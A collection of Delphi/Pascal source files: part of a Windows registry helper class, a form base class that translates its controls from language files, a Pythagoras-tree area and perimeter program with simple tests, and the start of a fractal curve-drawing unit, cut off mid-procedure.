EMsg(UNIT_NAME + ':RegCreateNewKey' + Parms(['KeyName', KeyName, 'ValueName', ValueName, 'RootKey',RootKey ], True));
raise;
end; {try}
End;
Function CReg.RegEnumerateSubKeys( KeyName : String; Keys : TStringList ; RootKey : HKEY = HKEY_LOCAL_MACHINE) : Integer;
Begin
result := -1;
try
except
EMsg(UNIT_NAME + ':RegCreateNewKey' + Parms(['KeyName', KeyName, 'RootKey',RootKey ], True));
raise;
end; {try}
End;
Function CReg.RegEnumerateValues( KeyName : String; Values : TStringList ; RootKey : HKEY = HKEY_LOCAL_MACHINE) : Integer;
Begin
result := -1;
try
except
EMsg(UNIT_NAME + ':RegCreateNewKey' + Parms(['KeyName', KeyName, 'RootKey',RootKey ], True));
raise;
end; {try}
End;
Function CReg.RegGetKeyValue( KeyName, ValueName : String; RootKey : HKEY = HKEY_LOCAL_MACHINE) : Variant;
var
lReturnValue, lData, lType, lSize : LongInt;
lHKey : HKEY;
vValue : Variant;
sValue, sKeyName : String;
pcBuffer : PChar;
Begin
result := '';
sKeyName := KeyName;
try
vValue := varEmpty;
lSize := 0;
lReturnValue := RegOpenKeyEx( RootKey, PChar(sKeyName), 0, regKeyQueryValue, lHKey);
if lReturnValue = regErrorNone then begin
try
lReturnValue := RegQueryValueEx( lHKey, Pchar(ValueName), 0, @lType, 0, @lSize);
if lReturnValue = regErrorNone then begin
sValue := StringOfChar(' ', lSize);
Case lType of
regSZ : begin
result := '';
if ( lSize > 0 ) then begin
lReturnValue := RegQueryValueEx( lHKey, Pchar(ValueName), 0, @lType, PByte(sValue), @lSize);
// lReturnValue := RegQueryValueEx( lHKey, Pchar(ValueName), 0, @lType, Pchar(sValue), @lSize);
result := sValue;
end;
end;
regBinary : begin
result := 0;
lReturnValue := RegQueryValueEx( lHKey, Pchar(ValueName), 0, @lType, PByte(sValue), @lSize);
// lReturnValue := RegQueryValueEx( lHKey, Pchar(ValueName), 0, @lType, Pchar(sValue), @lSize);
If ( lReturnValue = regErrorNone ) Then begin
MoveMemory(PChar(sValue), @lData, SizeOf(lData));
result := lData;
end;
end;
regDWord : begin
result := 0;
lReturnValue := RegQueryValueEx( lHKey, Pchar(ValueName), 0, @lType, PByte(sValue), @lSize);
//lReturnValue := RegQueryValueEx( lHKey, Pchar(ValueName), 0, @lType, Pchar(sValue), @lSize);
If ( lReturnValue = regErrorNone ) Then begin
MoveMemory(PChar(sValue), @lData, SizeOf(lData));
result := lData;
end;
end; {4:}
end; {Case}
end;{ Call returned no errors}
finally
RegCloseKey( lHKey );
end; {try}
end;
except
EMsg(UNIT_NAME + ':RegCreateNewKey' + Parms(['KeyName', KeyName, 'RootKey',RootKey ], True));
raise;
end; {try}
End;
Function CReg.RegError( ErrorCode : LongInt) : String;
Begin
Result := '';
Case ErrorCode of
regErrorNone : Result := 'No Error';
regErrorBadDB : Result := 'Bad DB';
regErrorBadKey : Result := 'Invalid Key';
regErrorCantOpen : Result := 'Cannot Open Key';
regErrorCantRead : Result := 'Cannot Read Key';
regErrorCantWrite : Result := 'Cannot write to Key';
regErrorOutOfMemory : Result := 'Out of Memory';
regErrorInvalidParameter : Result := 'Invalid Parameter';
regErrorAccessDenied : Result := 'Access Denied';
regErrorInvalidParameterS : Result := 'Invalid Parameters';
regErrorNoMoreItems : Result := 'No More Items';
end; {case}
End;
Function CReg.ConvertRootKey( RootKey : Cardinal) : String;
Begin
result := '';
try
Case RootKey of
HKEY_CLASSES_ROOT : result := 'HKEY_CLASSES_ROOT';
HKEY_CURRENT_USER : result := 'HKEY_CURRENT_USER';
HKEY_LOCAL_MACHINE : result := 'HKEY_LOCAL_MACHINE';
HKEY_USERS : result := 'HKEY_USERS';
HKEY_PERFORMANCE_DATA : result := 'HKEY_PERFORMANCE_DATA';
HKEY_CURRENT_CONFIG : result := 'HKEY_CURRENT_CONFIG';
HKEY_DYN_DATA : result := 'HKEY_DYN_DATA';
end; {case}
except
EMsg(UNIT_NAME + ':ConvertRootKey' + Parms(['RootKey', RootKey ], True));
raise;
end; {try}
End;
Function CReg.ConvertRootKey( RootKey : String) : LongInt;
Begin
result := 0;
try
if UpperCase(ucRight(RootKey, Length(rgCLASSES))) = rgCLASSES then
result := HKEY_CLASSES_ROOT
else if UpperCase(ucRight(RootKey, Length(rgCURRENT_USER))) = rgCURRENT_USER then
result := HKEY_CURRENT_USER
else if UpperCase(ucRight(RootKey, Length(rgLOCAL_MACHINE))) = rgLOCAL_MACHINE then
result := HKEY_LOCAL_MACHINE
else if UpperCase(ucRight(RootKey, Length(rgUSERS))) = rgUSERS then
result := HKEY_USERS
else if UpperCase(ucRight(RootKey, Length(rgPERF_DATA))) = rgPERF_DATA then
result := HKEY_PERFORMANCE_DATA
else if UpperCase(ucRight(RootKey, Length(rgCONFIG))) = rgCONFIG then
result := HKEY_CURRENT_CONFIG
else if UpperCase(ucRight(RootKey, Length(rgDYN_DATA))) = rgDYN_DATA then
result := HKEY_DYN_DATA
else
raise Exception.Create(QuotedStr(RootKey) + ' is an invalid root key.');
except
EMsg(UNIT_NAME + ':ConvertRootKey' + Parms(['RootKey', RootKey ], True));
raise;
end; {try}
End;
Procedure CReg.RegSetKeyValue( KeyName, ValueName : String; Data : String; RootKey : HKEY = HKEY_LOCAL_MACHINE);
var lHKey : HKEY;
Begin
try
RegCreateKeyEx(RootKey, PChar(KeyName), 0, '', regOptionNonVolatile, regKeyAllAccess, nil, lHKey, nil);
RegSetValueEx(lHKey, PChar(ValueName), 0, regSZ, PChar(Data), Length(Data));
RegCloseKey( lHKey );
except
EMsg(UNIT_NAME + ':RegCreateNewKey' + Parms(['KeyName', KeyName, 'ValueName', ValueName, 'Data', Data, 'RootKey', ConvertRootKey(RootKey) ], True));
raise;
end; {try}
End;
Procedure CReg.RegSetKeyValue( KeyName, ValueName : String; Data : LongInt; RootKey : HKEY = HKEY_LOCAL_MACHINE);
var lHKey : HKEY;
Begin
try
RegCreateKeyEx(RootKey, PChar(KeyName), 0, '', regOptionNonVolatile, regKeyAllAccess, nil, lHKey, nil);
RegSetValueEx(lHKey, PChar(ValueName), 0, regSZ, @(Data), SizeOf(Data));
RegCloseKey( lHKey );
except
EMsg(UNIT_NAME + ':RegCreateNewKey' + Parms(['KeyName', KeyName, 'ValueName', ValueName, 'Data', Data, 'RootKey', ConvertRootKey(RootKey) ], True));
raise;
end; {try}
End;
Procedure CReg.RegSetKeyValue( KeyName, ValueName : String; Data: array of Byte; RootKey : HKEY = HKEY_LOCAL_MACHINE);
var lHKey : HKEY;
Begin
try
RegCreateKeyEx(RootKey, PChar(KeyName), 0, '', regOptionNonVolatile, regKeyAllAccess, nil, lHKey, nil);
RegSetValueEx(lHKey, PChar(ValueName), 0, regSZ, @(Data), SizeOf(Data));
RegCloseKey( lHKey );
except
EMsg(UNIT_NAME + ':RegCreateNewKey' + Parms(['KeyName', KeyName, 'ValueName', ValueName, 'Data', 'Array of Byte', 'RootKey', ConvertRootKey(RootKey) ], True));
raise;
end; {try}
End;
Procedure CReg.RegSet( KeyName, ValueName : String; Data : String; RootKey : HKEY = HKEY_LOCAL_MACHINE);
Begin
try
RegSetKeyValue(KeyName, ValueName, Data, RootKey);
except
EMsg(UNIT_NAME + ':RegSet' + Parms(['KeyName', KeyName, 'ValueName', ValueName, 'Data', Data, 'RootKey', ConvertRootKey(RootKey) ], True));
raise;
end; {try}
End;
Function CReg.RegGet( KeyName, ValueName : String; DefaultValue : String = ''; RootKey : HKEY = HKEY_LOCAL_MACHINE) : String;
Begin
result := DefaultValue;
try
result := Trim( RegGetKeyValue(KeyName, ValueName, RootKey) );
if ( result = '' ) then result := Trim( DefaultValue );
except
raise Exception.Create(UNIT_NAME + ':RegGet' + Parms(['KeyName', KeyName, 'ValueName', ValueName, 'RootKey', ConvertRootKey(RootKey) ], True));
end; {try}
End;
constructor CReg.Create;
begin
end;
constructor CReg.Create(callingWindowedApp: TObject);
begin
end;
destructor CReg.Destroy;
begin
inherited;
end;
procedure CReg.Emsg(s: string);
begin
MessageDlg(s, mtError,[mbOk], 0);
End;
function CReg.Parms(v: array of Variant; Paired: Boolean): String;
Begin
try
Parms := GetStringParm(v, Paired, ', ', ' = ');
except
EMsg(UNIT_NAME + ':CFileDir.Parms' + '- Error');
raise;
end; {try.. except}
End;
function CReg.GetStringParm(v: array of Variant; Paired: Boolean;
MajorDelimiter, MinorDelimiter: String): String;
begin
End;
function CReg.ucRight( s : String; NumOfRightChar : integer ) : String;
Begin
Result := Copy(s, ((Length(s) - NumOfRightChar) + 1), NumOfRightChar);
End;
END.
|
{
Самая что нинаесть базовая форма
От нее наследуются все формы, которые включены в проект
Я бы не советовал добавлять сюда визуальные компоненты, т.к. они могут
вовлечь гору геморроя в нашу и так несладкую жизнь.
Также не следует использовать события OnCreate, OnClose, OnShow и т.д,
т.к. они могут не сработать у наследников, которые не имеют ключевого слова
inherited в реализации события. В случае острой необходимости нужно проставить
inherited после begin во всех обработчиках этих событий.
В данном модуле переопределен конструктор формы. Следует помнить, что выполняется
он ПОСЛЕ события OnCreate формы-наследника.
Так же можно переопределить деструктор и производить какие-либо действия при
закрытии формы
Олег Козачок 13.03.2006
}
unit uCommonForm;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
ExtCtrls, TypInfo, dbgrids, DBGridEh, RXDBCtrl, stdctrls,
Buttons, uHelpButton,uOilQuery,uOilStoredProc;
type
TLangParser = class
private
function SkipDot(AStr: String): String;
function GetWord(AStr: String): String;
function IsGridTitle: Boolean;
function ColumnName: string;
public
Line: String;
function FormName: String;
function ControlName: String;
function PropName: String;
function PropText: String;
function IsFormCaption: Boolean;
function IsBaseRef: Boolean;
end;
TCommonForm = class(TForm)
private
Parser : TLangParser;
public
procedure TranslateControls(ALangId: Integer);
constructor Create(AOwner: TComponent); override;
destructor Destroy; override;
end;
var
CommonForm: TCommonForm;
function TranslateText(AString: String): String;
implementation
uses Main, Base, uStart, ExFunc;
{$R *.DFM}
function TranslateText(AString: String): String;
var num: integer;
begin
try
Result:=AString;
if (not TRANSLATE) and (LANG_INTERFACE = 1) then
begin
num:=SLru.IndexOf(AString); // запоминаем позицию в ru_msg.ini
if num<>-1 then
if trim(SLua.Strings[num])<>''
then Result:=SLua.Strings[num];
end;
except Result:=AString;
end;
end;
{
функция проверяет наличие свойства у компонента
читай комментарии SetProperty
}
function HasProperty(Comp: TComponent; const Prop: string): Boolean;
var
PropList: PPropList;
NumProps, i: Integer;
begin
Result := False;
GetMem(proplist, GetTypeData(comp.classinfo)^.propcount * Sizeof(Pointer));
try
NumProps := GetPropList(Comp.ClassInfo, tkProperties, PropList);
for i := 0 to pred(NumProps) do
begin
if CompareText(PropList[i]^.Name, Prop) = 0 then
begin
Result := true;
Break;
end;
end;
finally
FreeMem(PropList, GetTypeData(Comp.Classinfo)^.PropCount * Sizeof(Pointer));
end;
end;
{функция устанавливает свойство компонента}
procedure SetProperty(Comp: TComponent; const Prop, S: string);
var
PropList: PPropList;
NumProps, i: Integer;
begin
{выделить память под указатели на имеющиеся у компонента свойства}
GetMem(Proplist, GetTypeData(Comp.ClassInfo)^.PropCount * Sizeof(Pointer));
try
{Кол-во свойств компонента}
NumProps := GetPropList(Comp.ClassInfo, tkProperties, PropList);
for i := 0 to pred(NumProps) do
begin
{если то что нам нужно}
if (CompareText(PropList[i]^.Name, Prop) = 0) then
begin
{установить свойство}
SetStrProp(comp, proplist[i], s);
Break;
end;
end;
finally
FreeMem(PropList, GetTypeData(Comp.ClassInfo)^.PropCount * Sizeof(Pointer));
end;
end;
function NvlInt(AInt, AIfZero: Integer): Integer;
begin
Result := AInt;
if AInt <= 0
then Result := AIfZero
end;
{ TLangParser }
{выкинуть слово с точкой}
function TLangParser.SkipDot(AStr: String): String;
begin
Result := Trim(Copy(AStr,Pos('.',AStr) + 1,Length(AStr)));
end;
{получить слово до точки или до знака =}
function TLangParser.GetWord(AStr: String): String;
begin
AStr := Copy(AStr,1,NvlInt(Pos('=',AStr),Length(AStr)));
Result := Trim(Copy(AStr,1 ,NvlInt(Pos('.',AStr) - 1,Pos('=',AStr)-1)));
end;
function TLangParser.FormName: String;
begin
{первое слово - название формы}
Result := UpperCase(GetWord(Line));
end;
function TLangParser.ControlName: String;
begin
{skip form name}
Result := SkipDot(Line);
{get control name}
Result := UpperCase(GetWord(Result));
end;
function TLangParser.PropName: String;
begin
{skip form name}
Result := SkipDot(Line);
{skip control name}
Result := SkipDot(Result);
{get property name}
Result := UpperCase(GetWord(Result));
end;
function TLangParser.PropText: String;
var
s: string;
pStr: PChar;
begin
{получить текст от знака = до конца строки}
s := Trim(Copy(Line,Pos('=',Line) + 1,Length(Line)));
if pos('#13#10', s) > 0 then
while (pos('#13#10', s) > 0) do
begin
if pos('''#13#10', s) > 0 then // убираємо кавичку перед #13#10
s := copy(s, 1, pos('''#13#10', s)-1) + copy(s, pos('''#13#10', s)+1, length(s));
if pos('#13#10''', s) > 0 then // убираємо кавичку після #13#10
s := copy(s, 1, pos('#13#10''', s)+5) + copy(s, pos('#13#10''', s)+7, length(s));
s := copy(s, 1, pos('#13#10', s)-1) +#13#10+ copy(s, pos('#13#10', s)+6, length(s)); // підставляємо #13#10 (ENTER)
end;
pStr := PChar(s);
Result := AnsiExtractQuotedStr(pStr,'''');
end;
{True если Line - заголовок формы}
function TLangParser.IsFormCaption: Boolean;
begin
Result := UpperCase(GetWord(SkipDot(Line))) = 'CAPTION';
end;
function TLangParser.IsBaseRef: Boolean;
begin
Result := (FormName = UpperCase('BaseForm')) or
(FormName = UpperCase('BaseFormEnh'));
end;
function TLangParser.IsGridTitle: Boolean;
begin
Result := Copy(PropName,1,1) = '[';
end;
function TLangParser.ColumnName: string;
var
PStr: PChar;
begin
Result := '';
PStr := PChar(Copy(PropName,2,length(PropName)));
PStr := PChar(Copy(PStr,1,Pos(']',PStr)-1));
if PStr <> '' then
Result := AnsiExtractQuotedStr(PStr, '''');;
end;
{ TCommonForm }
constructor TCommonForm.Create(AOwner: TComponent);
var
Lang: String;
begin
inherited;
Parser := TLangParser.Create;
try
Lang := ReadPieceOfRegistry(HKEY_CURRENT_USER,'Software\Oil','Language');
if (Lang <> '') then
begin
TranslateControls( StrToInt(Lang) );
LANG_INTERFACE := StrToInt(Lang);
end
else
begin
LANG_INTERFACE:=0;
StartLog(TranslateText('Проставляем ключ реестра Language'));
WritePieceOfRegistry('Language',IntToStr(LANG_INTERFACE));
end;
except on E:Exception do
StartLog(TranslateText('Ошибка в конструкторе CommonForm: ')+E.Message);
end;
end;
destructor TCommonForm.Destroy;
begin
FreeAndNil(Parser);
inherited;
end;
{
Берет из файла перевода строку, находит контрол на открываемой
форме и устанавливает соответствующие свойства.
Если контрол не найден ничего не происходит
}
procedure TCommonForm.TranslateControls(ALangId: Integer);
var
F: TextFile;
S, Text: String;
Comp : TComponent;
Grid: TComponent;
I, Index: Integer;
IsUseBaseRef: Boolean;
StItemsStr: TStringList;
begin
StartLog(ClassName+' start translate ... '+Formatdatetime('hh:mm:ss zzz',now));
try
case ALangId of
0: AssignFile(F,GetMainDir+'language\rus.txt');
1: AssignFile(F,GetMainDir+'language\ukr.txt');
end;
Reset(F);
{пройти по файлу}
while not Eof(F) do
begin
Readln(F, Parser.Line);
{использует ли форма базовый справочник}
IsUseBaseRef := InheritsFrom(TBaseForm) and (Parser.FormName = 'BASEFORM');
{наша или базовая форма}
if ('T'+Trim(Parser.FormName) = UpperCase(ClassName)) or IsUseBaseRef then
begin
{combobox, radiogroup, oilhelpbutton ...}
if (Parser.PropName = 'ITEMS') and not Parser.IsBaseRef then
begin
S := '';
StItemsStr := TStringList.Create;
Str2StringList(Parser.PropText, StItemsStr);
Text := StItemsStr.Text;
StItemsStr.Free;
{Найти контрол на форме}
Comp := FindComponent(Parser.ControlName);
if (Assigned(Comp)) and (Text <> '') then
begin
{TCombobox}
if Comp is TCombobox then
begin
{запомнить состояние}
Index := (Comp as TCombobox).ItemIndex;
(Comp as TCombobox).Items.Text := Text;
if Index <= (Comp as TCombobox).Items.Count - 1
then (Comp as TCombobox).ItemIndex := Index;
end;
{TRadioGroup}
if Comp is TRadioGroup then
begin
{запомнить состояние}
Index := (Comp as TRadioGroup).ItemIndex;
(Comp as TRadioGroup).Items.Text := Text;
if Index <= (Comp as TRadioGroup).Items.Count - 1
then (Comp as TRadioGroup).ItemIndex := Index;
end;
{TOilHelpButton}
if Comp is TOilHelpButton then
(Comp as TOilHelpButton).Lines.Text := Text;
end;
end
else
{заполнить колонки грида}
if Parser.IsGridTitle and not Parser.IsBaseRef then
begin
Grid := FindComponent(Parser.ControlName);
if Grid is TDBGrid then // простой грид
for i := 0 to (Grid as TDbGrid).Columns.Count-1 do
if (Grid as TDbGrid).Columns[i].FieldName = Parser.ColumnName then
begin
(Grid as TDbGrid).Columns[i].Title.Caption := Parser.PropText;
break;
end;
if Grid is TDbGridEh then // Eh грид
for i := 0 to (Grid as TDbGridEh).Columns.Count-1 do
if (Grid as TDbGridEh).Columns[i].FieldName = Parser.ColumnName then
begin
(Grid as TDbGridEh).Columns[i].Title.Caption := Parser.PropText;
break;
end;
if Grid is TRxDbGrid then // RX грид
for i := 0 to (Grid as TRxDbGrid).Columns.Count-1 do
if (Grid as TRxDbGrid).Columns[i].FieldName = Parser.ColumnName then
begin
(Grid as TRxDbGrid).Columns[i].Title.Caption := Parser.PropText;
break;
end;
end
else
{Все остальные контролы}
begin
{найти компонент по имени}
Comp := FindComponent(Parser.ControlName);
{заголовок формы}
if Parser.IsFormCaption and not Parser.IsBaseRef then
begin
if Parser.FormName = 'MAINFORM' then
begin
TMainForm(Self).FMainCaption := Parser.PropText;
TMainForm(Self).SetCaption(MAIN_ORG.Name);
end else Caption := Parser.PropText;
end;
{если компонент найден, проверить наличие нужного свойства и изменить его }
if Assigned(Comp) then
if HasProperty(Comp,Parser.PropName)
then SetProperty(Comp,Parser.PropName,Parser.PropText);
end;
end;
end;
CloseFile(F);
StartLog(ClassName+' end translate ... '+Formatdatetime('hh:mm:ss zzz',now));
StartLog('-------------------------------------------');
except
end;
end;
initialization
RegisterClass(TDBGridEh);
end.
|
PROGRAM PythTree;
FUNCTION Power(x: REAL; n: INTEGER): REAL;
VAR
result: REAL;
BEGIN
result := x;
if n = 1 then
result := x
else if n = 0 then
result := 1
else BEGIN
result := result * Power(x, n-1);
END;
Power := result;
END;
FUNCTION CalculateSurface(sideLength: REAL; iterations: INTEGER): REAL;
VAR
area: REAL;
BEGIN
area := sideLength * sideLength;
IF iterations = 0 THEN
CalculateSurface := area
ELSE area := area + (2 * CalculateSurface((sqrt(2) / 2) * sideLength, iterations - 1));
CalculateSurface := area;
END;
FUNCTION CalculateSurfaceIter(sideLength: REAL; iterations: INTEGER): REAL;
VAR
area: REAL;
currentIteration: INTEGER;
BEGIN
area := sideLength * sideLength;
currentIteration := 1;
WHILE currentIteration <= iterations DO BEGIN
sideLength := (sqrt(2) / 2) * sideLength;
area := area + (Power(2, currentIteration) * sideLength * sideLength);
INC(currentIteration);
END;
CalculateSurfaceIter := area;
END;
FUNCTION CalculatePerimeter(sideLength: REAL; iterations: INTEGER; currentIteration: INTEGER): REAL;
VAR
perimeter: REAL;
BEGIN
perimeter := 2 * sideLength * Power(2, currentIteration);
IF currentIteration = iterations THEN
BEGIN
perimeter := perimeter + (sideLength * Power(2, currentIteration));
perimeter := perimeter + sqrt((sideLength * sideLength * Power(2, currentIteration)));
END ELSE BEGIN
perimeter := perimeter + CalculatePerimeter((sqrt(2) / 2) * sideLength, iterations, currentIteration + 1);
END;
CalculatePerimeter := perimeter;
END;
FUNCTION CalculatePerimeterIter(sideLength: REAL; iterations: INTEGER; currentIteration: INTEGER): REAL;
VAR
perimeter: REAL;
BEGIN
perimeter := 3 * sideLength;
WHILE currentIteration < iterations DO BEGIN
INC(currentIteration);
sideLength := (sqrt(2) / 2) * sideLength;
perimeter := perimeter + ( 2 * sideLength * Power(2, currentIteration));
END;
CalculatePerimeterIter := perimeter + (sideLength * Power(2, currentIteration));
END;
{* ----------- Assert Methods ----------- *}
FUNCTION AssertTrue(bool: BOOLEAN): STRING;
BEGIN
AssertTrue := 'X';
IF bool THEN
AssertTrue := 'OK'
END;
FUNCTION AssertFalse(bool: BOOLEAN): STRING;
BEGIN
AssertFalse := 'X';
IF not bool THEN
AssertFalse := 'OK'
END;
FUNCTION AssertPower(x: REAL; n: INTEGER; expectedResult: REAL): BOOLEAN;
BEGIN
AssertPower := (Power(x, n) = expectedResult);
END;
FUNCTION AssertCalculateSurface(sideLength: REAL; iterations: INTEGER; expectedResult: REAL): BOOLEAN;
BEGIN
AssertCalculateSurface := ( CalculateSurface(sideLength, iterations) = expectedResult );
END;
FUNCTION AssertCalculateSurfaceIter(sideLength: REAL; iterations: INTEGER; expectedResult: REAL): BOOLEAN;
BEGIN
AssertCalculateSurfaceIter := ( CalculateSurfaceIter(sideLength, iterations) = expectedResult );
END;
FUNCTION AssertCalculatePerimeter(sideLength: REAL; iterations: INTEGER; expectedResult: REAL): BOOLEAN;
BEGIN
AssertCalculatePerimeter := (CalculatePerimeter(sideLength, iterations, 0) = expectedResult);
END;
FUNCTION AssertCalculatePerimeterIter(sideLength: REAL; iterations: INTEGER; expectedResult: REAL): BOOLEAN;
BEGIN
AssertCalculatePerimeterIter := (CalculatePerimeterIter(sideLength, iterations, 0) = expectedResult);
END;
VAR
erg3, erg2, erg4: REAL;
a, b, c, d, e, f: REAL;
BEGIN
WriteLn('Test Power (Recursive)');
WriteLn('Power(2, 3, 8) -> ', AssertTrue(AssertPower(2, 3, 8)));
WriteLn('Power(-2, 3, -8) -> ', AssertTrue(AssertPower(-2, 3, -8)));
WriteLn('Power(0, 1, 0) -> ', AssertTrue(AssertPower(0, 1, 0)));
WriteLn('Power(5, 1, 5) -> ', AssertTrue(AssertPower(5, 1, 5)));
WriteLn('Power(5, 0, 1) -> ', AssertTrue(AssertPower(5, 0, 1)));
WriteLn('Power(1.5 ,2, 2.25) -> ', AssertTrue(AssertPower(1.5, 2, 2.25)));
WriteLn('Power(0, 0, 1) -> ', AssertTrue(AssertPower(0, 0, 1)));
WriteLn;
WriteLn('Test CalculateSurface');
WriteLn('AssertCalculateSurface(2, 2, 12) -> ', AssertTrue(AssertCalculateSurface(2, 2, 12)));
WriteLn('AssertCalculateSurface(2, 5, 24) -> ', AssertTrue(AssertCalculateSurface(2, 5, 24)));
WriteLn('AssertCalculateSurface(2, 100, 404) -> ', AssertTrue(AssertCalculateSurface(2, 100, 404)));
WriteLn('AssertCalculateSurface(5, 16, 425) -> ', AssertTrue(AssertCalculateSurface(5, 16, 425)));
WriteLn('AssertCalculateSurface(0, 0, 0) -> ', AssertTrue(AssertCalculateSurface(0, 0, 0)));
WriteLn('AssertCalculateSurface(0, 5, 0) -> ', AssertTrue(AssertCalculateSurface(0, 5, 0)));
WriteLn('AssertCalculateSurface(5, 0, 25) -> ', AssertTrue(AssertCalculateSurface(5, 0, 25)));
WriteLn;
WriteLn('Test CalculateSurfaceIter');
WriteLn('AssertCalculateSurfaceIter(2, 2, 12) -> ', AssertTrue(AssertCalculateSurfaceIter(2, 2, 12)));
WriteLn('AssertCalculateSurfaceIter(2, 5, 24) -> ', AssertTrue(AssertCalculateSurfaceIter(2, 5, 24)));
WriteLn('AssertCalculateSurfaceIter(2, 100, 404) -> ', AssertTrue(AssertCalculateSurfaceIter(2, 100, 404)));
WriteLn('AssertCalculateSurfaceIter(5, 16, 425) -> ', AssertTrue(AssertCalculateSurfaceIter(5, 16, 425)));
WriteLn('AssertCalculateSurfaceIter(0, 0, 0) -> ', AssertTrue(AssertCalculateSurfaceIter(0, 0, 0)));
WriteLn('AssertCalculateSurfaceIter(0, 5, 0) -> ', AssertTrue(AssertCalculateSurfaceIter(0, 5, 0)));
WriteLn('AssertCalculateSurfaceIter(5, 0, 25) -> ', AssertTrue(AssertCalculateSurfaceIter(5, 0, 25)));
WriteLn;
WriteLn('Test CalculatePerimeter');
WriteLn('AssertCalculatePerimeter(2, 2, 2.3656854249492380E+001) -> ', AssertTrue(AssertCalculatePerimeter(2, 2, 2.3656854249492380E+001)));
WriteLn('AssertCalculatePerimeter(2, 3, 3.6627416997969526E+001) -> ', AssertTrue(AssertCalculatePerimeter(2, 3, 3.6627416997969526E+001)));
WriteLn('AssertCalculatePerimeter(5, 10, 1.2334062043356594E+003) -> ', AssertTrue(AssertCalculatePerimeter(5, 10, 1.2334062043356594E+003)));
WriteLn('AssertCalculatePerimeter(0, 0, 0) -> ', AssertTrue(AssertCalculatePerimeter(0, 0, 0)));
WriteLn('AssertCalculatePerimeter(0, 5, 0) -> ', AssertTrue(AssertCalculatePerimeter(0, 5, 0)));
WriteLn('AssertCalculatePerimeter(5, 0, 0) -> ', AssertTrue(AssertCalculatePerimeter(5, 0, 20)));
WriteLn('AssertCalculatePerimeter(5, 100, 4.4070126852380008E+016) -> ', AssertTrue(AssertCalculatePerimeter(5, 100, 4.4070126852380008E+016)));
WriteLn;
WriteLn('Test CalculatePerimeterIter');
WriteLn('AssertCalculatePerimeterIter(2, 2, 2.3656854249492380E+001) -> ', AssertTrue(AssertCalculatePerimeterIter(2, 2, 2.3656854249492380E+001)));
WriteLn('AssertCalculatePerimeterIter(2, 3, 3.6627416997969526E+001) -> ', AssertTrue(AssertCalculatePerimeterIter(2, 3, 3.6627416997969526E+001)));
WriteLn('AssertCalculatePerimeterIter(5, 10, 1.2334062043356594E+003) -> ', AssertTrue(AssertCalculatePerimeterIter(5, 10, 1.2334062043356594E+003)));
WriteLn('AssertCalculatePerimeterIter(0, 0, 0) -> ', AssertTrue(AssertCalculatePerimeterIter(0, 0, 0)));
WriteLn('AssertCalculatePerimeterIter(0, 5, 0) -> ', AssertTrue(AssertCalculatePerimeterIter(0, 5, 0)));
WriteLn('AssertCalculatePerimeterIter(5, 0, 0) -> ', AssertTrue(AssertCalculatePerimeterIter(5, 0, 20)));
// TODO: Wagner fragen ob bei ihm auch ungenauigkeit ein problem ist
WriteLn('AssertCalculatePerimeterIter(5, 100, 4.4070126852380008E+016) -> ', AssertTrue(AssertCalculatePerimeterIter(5, 100, 4.4070126852380008E+016)));
WriteLn;
a := 2;
b := sqrt(2) / 2 * a;
c := sqrt(2) / 2 * b;
d := sqrt(2) / 2 * c;
e := sqrt(2) / 2 * d;
f := sqrt(2) / 2 * e;
// WriteLn('Surface');
// WriteLn(Power(2, 10));
// WriteLn(CalculateSurface(99, 100));
// WriteLn(CalculateSurfaceIter(99, 100));
// erg2 := a * a + b * b * 2 + c * c * 4;
// WriteLn(erg2);
// erg2 := 3 * a + 4 * b + 12 * c;
// erg3 := 3 * a + 4 * b + 8 * c + 24 * d;
// erg4 := 3 * a + 4 * b + 8 * c + 16 * d + 48 * e;
// WriteLn('Perimeter:');
// WriteLn('Recursive: ', CalculatePerimeter(3, 44, 0));
// WriteLn('Iter: ', CalculatePerimeterIter(3, 44, 0));
// WriteLn;
// WriteLn(erg2);
// WriteLn(erg3);
// WriteLn(erg4)
END. |
{*******************************************************}
{ }
{ Tachyon Unit }
{ Vector Raster Geographic Information Synthesis }
{ VOICE .. Tracer }
{ GRIP ICE .. Tongs }
{ Digital Terrain Mapping }
{ Image Locatable Holographics }
{ SOS MAP }
{ Surreal Object Synthesis Multimedia Analysis Product }
{ Fractal3D Life MOW }
{ Copyright (c) 1995,2006 Ivan Lee Herring }
{ }
{*******************************************************}
unit fuMathC;
interface
uses
Windows, Messages, SysUtils, Dialogs, Forms,
Graphics, Classes;
procedure qkoch3(level: integer);
procedure Peanoor(level: integer);
procedure Peanomod(level: integer);
procedure Cesaro(level: integer);
procedure CesaroMD(level: integer);
procedure Cesaro2(level: integer);
procedure polya(level: integer);
procedure PGosper(Level: Integer);
procedure snow7(level: integer);
procedure snowhall(level: integer);
procedure snow13(level: integer);
procedure Snoflake(level: integer);
procedure Gosper(level: integer);
procedure hkoch8(level: integer);
procedure qkoch8(level: integer);
procedure qkoch18(level: integer);
procedure qkoch32(level: integer);
procedure qkoch50(level: integer);
procedure hilbert(level: integer);
procedure hilbert2(level: integer);
procedure hil3d(level: integer);
procedure sierp(level: integer); { of 8 }
procedure sierbox(level: integer); { of 3 }
procedure siergask(level: integer); { fast enough at all 5 levels }
procedure Dragon_Curve(level: integer);
procedure TwinDrag(level: integer);
implementation
uses fUGlobal,fMain, fGMath;
var
turtle_r, turtle_x, turtle_y, turtle_theta: Extended;
function point(x1: real; y_one: real; x2: real; y2: Extended):
Extended;
var theta: Extended;
begin
if (x2 - x1) = 0 then
if y2 > y_one then
theta := 90
else
theta := 270
else
theta := arctan((y2 - y_one) / (x2 - x1)) * 57.295779;
if x1 > x2 then
theta := theta + 180;
point := theta;
end;
procedure step;
begin
turtle_x := turtle_x + turtle_r * cos(turtle_theta * 0.017453292);
turtle_y := turtle_y + turtle_r * sin(turtle_theta * 0.017453292);
end;
procedure turn(angle: Extended);
begin
turtle_theta := turtle_theta + angle;
end;
function IStringer(I: Longint): string;
{ Convert any integer type to a string }
var
S: string[11];
begin
Str(I, S);
Result := S;
end;
procedure qkoch3(level: integer);
var
TempColor: TColor; maxcolx, maxrowy, {GfColor, }
lc, i, generator_size, init_size: integer;
initiator_x1, initiator_x2,
initiator_y1, initiator_y2
: array[0..9] of Extended;
procedure generate
(X1: Extended; Y1: Extended;
X2: Extended; Y2: Extended;
level: integer);
var
j, k: integer;
Xpoints, Ypoints: array[0..24] of Extended;
begin
dec(level);
turtle_r := sqrt(((X2 - X1) * (X2 - X1)
+ (Y2 - Y1) * (Y2 - Y1))
/ 5.0);
Xpoints[0] := X1;
Ypoints[0] := Y1;
Xpoints[3] := X2;
Ypoints[3] := Y2;
